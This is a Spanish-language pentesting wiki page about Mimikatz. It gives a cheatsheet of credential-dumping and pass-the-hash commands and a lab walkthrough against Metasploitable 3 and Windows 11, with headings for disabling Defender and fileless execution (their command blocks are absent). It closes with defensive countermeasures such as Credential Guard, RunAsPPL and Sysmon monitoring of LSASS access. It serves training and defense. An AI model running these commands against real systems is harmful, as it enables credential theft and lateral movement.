Page cover

🐈Mimikatz

Mimikatz es una herramienta muy popular entre los hackers, ya que puede recuperar contraseñas almacenadas en texto claro o en forma de hash. Tiene un montón de opciones para extraer información.

Repositorio original (código fuente en C)

Repositorio de Parrot (ejecutables en .exe y .dll)

Principales Comandos

Mimikatz tiene multitud de comandos para extraer información y credenciales, algunos de los principales son:

  • privilege::debug: Este comando se utiliza para habilitar la depuración en el proceso actual, lo que permite a Mimikatz obtener acceso a las credenciales del sistema.

  • token::elevate: Este comando se utiliza para obtener privilegios elevados en el sistema actual.

  • sekurlsa::logonPasswords: Este comando se utiliza para recuperar las contraseñas almacenadas en el archivo LSASS.exe, que es el proceso responsable de la gestión de credenciales en sistemas Windows.

  • lsadump::sam: Este comando se utiliza para recuperar las contraseñas almacenadas en el archivo SAM, que es la base de datos de cuentas locales en sistemas Windows.

  • lsadump::cache: Este comando se utiliza para recuperar las credenciales almacenadas en la caché de credenciales del sistema.

  • lsadump::secrets: Este comando se utiliza para recuperar las credenciales almacenadas en el archivo SYSTEM, que es un archivo que contiene información sobre la configuración del sistema.

Escribiendo solamente el comando principal seguido de 2 puntos como privilege::, token::, o lsadump:: obtenemos las variables que le podemos pasar para extraer información:

Cheatsheet

Comando
Descripción

privilege::debug

Habilita los privilegios de depuración en el proceso actual.

token::elevate

Intenta elevar los privilegios del token del proceso actual al nivel de "System".

lsadump::lsa

Muestra información sobre la Política de Seguridad Local (LSA) del sistema.

lsadump::sam

Muestra las cuentas de usuario almacenadas en la base de datos SAM (Security Accounts Manager).

lsadump::secrets

Muestra los secretos almacenados en LSASS, como claves de máquina y otros datos sensibles.

lsadump::cache

Muestra las credenciales almacenadas en la caché de autenticación de Windows.

sekurlsa::logonpasswords

Muestra las contraseñas en texto plano almacenadas en LSASS (Local Security Authority Subsystem Service).

sekurlsa::tickets /export

Enumera los tickets de Kerberos en el sistema y los exporta a un archivo.

sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<ntlmhash>

Realiza un Pass-the-Hash (PTH) con el hash NTLM proporcionado.

sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<ntlmhash> /run:<command>

Realiza un Pass-the-Hash (PTH) y ejecuta un comando utilizando las credenciales obtenidas.

sekurlsa::wdigest

Muestra las contraseñas almacenadas en LSASS en formato WDigest.

sekurlsa::ekeys

Muestra las claves de cifrado de Kerberos almacenadas en LSASS.

dpapi::masterkey

Muestra las claves maestras DPAPI (Data Protection API) almacenadas en el sistema.

dpapi::cred

Muestra las credenciales DPAPI protegidas almacenadas en el sistema.

dpapi::chrome

Muestra las credenciales guardadas por Google Chrome utilizando DPAPI.

dpapi::firefox

Muestra las credenciales guardadas por Mozilla Firefox utilizando DPAPI.

dpapi::credhist

Muestra el historial de credenciales de usuario protegidas por DPAPI.

crypto::capi

Enumera las claves y los certificados almacenados en el almacén de claves de Windows.

crypto::certificates /export

Exporta los certificados del almacén de certificados de Windows a archivos individuales.

crypto::keys /machine

Enumera las claves criptográficas de máquina almacenadas en el sistema.

crypto::keys /user

Enumera las claves criptográficas de usuario almacenadas en el sistema.

vault::list

Enumera los elementos almacenados en el Vault de Windows, como credenciales de Internet Explorer y Edge.

vault::cred /patch

Enumera las credenciales protegidas almacenadas en el Vault de Windows.

vault::cred /export

Exporta las credenciales protegidas almacenadas en el Vault de Windows a archivos individuales.

token::list /export

Enumera los tokens de seguridad en el sistema y los exporta a un archivo.

misc::cmd

Ejecuta comandos en un símbolo del sistema.

misc::memssp

Carga el módulo MemSSP.dll para interceptar credenciales en memoria.

misc::screenshot

Toma una captura de pantalla del escritorio del usuario actual.

misc::wifi

Enumera los perfiles de Wi-Fi almacenados en el sistema y muestra sus contraseñas.


Caso práctico

Vamos a poner a prueba Mimikatz contra la máquina Metasploitable 3 Windows o contra una máquina Windows 11 Developer para probar técnicas de evasión de antivirus:

💣Metasploitable 3🟦Windows 11 Developer

Test de conexión

Si no puedes hacer ping desde tu Kali Linux hacia la máquina Windows 11 Developer, probablemente se debe a la configuración del firewall de Windows, que bloquea ICMP (ping) por defecto, incluso en modo desarrollador. Podemos deshabilitarlo con el siguiente comando en una Powershell cómo administrador:


Ejecución de Mimikatz

Podemos conseguir ejecutar Mimikatz en un objetivo de varias formas, por lo que cubriremos las más habituales.

Opción 1: Envío manual del binario

El repositorio oficial contiene el código fuente en C, pero el de ParrotSec contiene ejecutables en .exe y .dll precompilados que podemos utilizar libremente:

Deshabilitar Defender

Ejecutar los siguientes comandos en una Powershell como administrador:

Una vez deshabilitado ya lo podemos enviar sin problema:

Ejecutar Mimikatz y guardar log

Nota: Mimikatz puede generar una salida por terminal enorme en función del entorno, por lo que se recomienda siempre guardar la salida en un log para facilitar el análisis posterior.

Opción 2: Acceso desde Meterpreter

Probaremos esta técnica contra la máquina Metasploitable 3 Windows.

💣Metasploitable 3

Explotación: EternalBlue

Cargar el módulo de Mimikatz

Privilege Debug y Token Elevate

privilege::debug

Este privilegio permite a un proceso acceder a la memoria de otro proceso. Es especialmente útil en el análisis y depuración de programas, así como en la recolección de credenciales y otros datos sensibles de la memoria.

token::elevate

Este comando se utiliza para elevar el contexto de seguridad de un proceso a un nivel más alto, generalmente el de SYSTEM, para obtener permisos más amplios dentro del sistema operativo. Esto permite realizar acciones que normalmente requerirían permisos administrativos avanzados.

Obtener credenciales

A través de kiwi

De forma clásica (con comandos de mimikatz)

Opción 3: Subida manual desde Meterpreter

Subir mimikatz

Ejecutar desde shell

Opción 4: Mimikatz Fileless (bypass AV)

Ejecutar Mimikatz de forma fileless (sin escribir archivos en disco) significa cargar y ejecutar Mimikatz directamente en la memoria RAM de un sistema sin dejar un binario físico (como mimikatz.exe) en el disco duro. Esta técnica es usada comúnmente por atacantes avanzados (y red teamers) para evadir antivirus, EDR y otras soluciones basadas en detección de archivos o hashes.

Probaremos esta técnica contra la máquina Windows 11 Developer.

🟦Windows 11 Developer

Incluso siendo una técnica fileless (sin archivos en disco) Defender bloquea su ejecución, por lo que lo deshabilitaremos para probar la técnica. En entornos más antiguos esta técnica haría el bypass sin problema.

Deshabilitar Defender con Powershell

Verificar que esta deshabilitado

Podemos ejecutar el siguiente script en Powershell para hacer una verificación completa del estado de seguridad y los elementos que han sido deshabilitados.

Ejecucion fileless en Powershell


Defensa, detección y contramedidas

1. Activar Credential Guard (Windows 10/11 Enterprise)

🔒 Protección a nivel de virtualización para evitar que Mimikatz acceda a LSASS.

  • Evita extracción de credenciales almacenadas en memoria.

  • Compatible con sistemas modernos.

  • Ideal para endpoints de alto riesgo o administradores.

2. Ejecutar LSASS como proceso protegido (RunAsPPL)

🧱 Impide que procesos no confiables accedan a la memoria de LSASS, incluso con privilegios altos.

  • Requiere reinicio.

  • Compatible con AV/EDR que no interfieran con LSASS.

3. Desactivar WDigest

🚫 Evita que las credenciales en texto claro se almacenen en memoria.

  • Mitiga uno de los vectores más usados por Mimikatz.

  • Efectivo en entornos heredados donde aún se usa WDigest por compatibilidad.

4. Monitorización de acceso a LSASS con Sysmon

👁️ Detecta intentos de acceso ilegítimos al proceso LSASS.

  • Sysmon + SIEM (Splunk, ELK, Wazuh) con reglas como:

    • Event ID 10 (ProcessAccess)

    • TargetImage = lsass.exe

  • Permite detección temprana y generación de alertas.

5. LAPS (Local Administrator Password Solution)

🔐 Evita la reutilización de credenciales locales (Pass-the-Hash).

  • Asigna contraseñas únicas, rotativas y cifradas a cada equipo.

  • Se integra con GPO.

  • Invalida ataques horizontales post-explotación.

Última actualización

¿Te fue útil?